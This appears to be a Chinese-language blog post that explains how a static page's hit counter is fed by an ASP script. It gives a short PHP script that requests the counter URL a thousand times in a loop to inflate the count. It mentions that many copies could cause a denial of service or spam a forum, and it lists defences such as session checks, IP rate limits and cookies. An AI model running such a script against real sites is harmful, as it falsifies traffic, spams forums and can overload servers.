今天無意間看到一個網站,它的計數器能夠在靜態頁裡更新,我想,應該是使用js來做的,打開原始碼一看,果然是:
<div align=center><SPAN class=Article_tdbgall>
作者:未知文章來源:Meidi.Net
點擊數:
<script language='javascript' src='/Article/GetHits.asp?ArticleID=759'></script>
更新時間:2005-5-27</SPAN>
</div>
點擊數後面是一個asp檔去處理的,那麼我打開這個文件看看:
document.write('210');
就是吧,就是GetHists.asp檔處理ArticleID後提取結果後輸出次數:document .write('次數'),再靜態頁裡就能夠直接引用了。
壞人終究是壞人,那麼我就想,如何能夠迅速提升點擊數呢?手工刷新的話不是很類,恩,趕緊寫個PHP程式來自動的去訪問這個文件。
PHP程式碼如下:
<?php
/* access_url.php */
define(SUM, 1000); //需要造訪的次數
define(L_TIME, 1000); //強制腳本執行的時間
define(S_TIME, 1); //每次造訪之間休眠的時間
$url = " http://www.xxx.com/Article/GetHits.asp?ArticleID=759 "; //需要存取的位址
set_time_limit(L_TIME);
//造訪指定URL函數knowsky.com
function access_url($url)
{
if ($url=='') return false;
$fp = fopen($url, 'r') or exit('Open url faild!');
if ($fp) {
while (!feof($fp)) {
$file = fgets($fp);
echo $file."n<p> </p>n";
}
unset($file);
}
}
//進行測試
for ($i=0; $i<SUM; $i++) {
access_url($url);
sleep(S_TIME);
}
?>
執行上面的程序,那麼就會連續存取指定的URL位址,那麼自然這個造訪次數就會連續增加,達到灌水的效果。如果是流量大,而且用多程式去運作的話,那麼很容易就會達到拒絕服務(DoS)的效果了。如果對方的防範措施,把程式碼修改一下針對論壇提交,就很容易達成論壇灌水的效果。
防範方法:
1. 程式碼中使用Session機制,當使用者提交的時候產生一個Session ID,提交內容的時候判斷是否已經提交,如果已提交那麼就不允許刷。
2. 當使用者提交以後記錄使用者的IP位址,如果指定時間內再提交的話就不允許再提交。
3. 當使用者提交內容以後,在使用者客戶端寫入Cookie,如果使用者再提交先檢查客戶端是否有Cookie來決定是否允許提交。
還有很多其他方法,可以去搜尋一下,或是發揮自己的想像力,做的更好。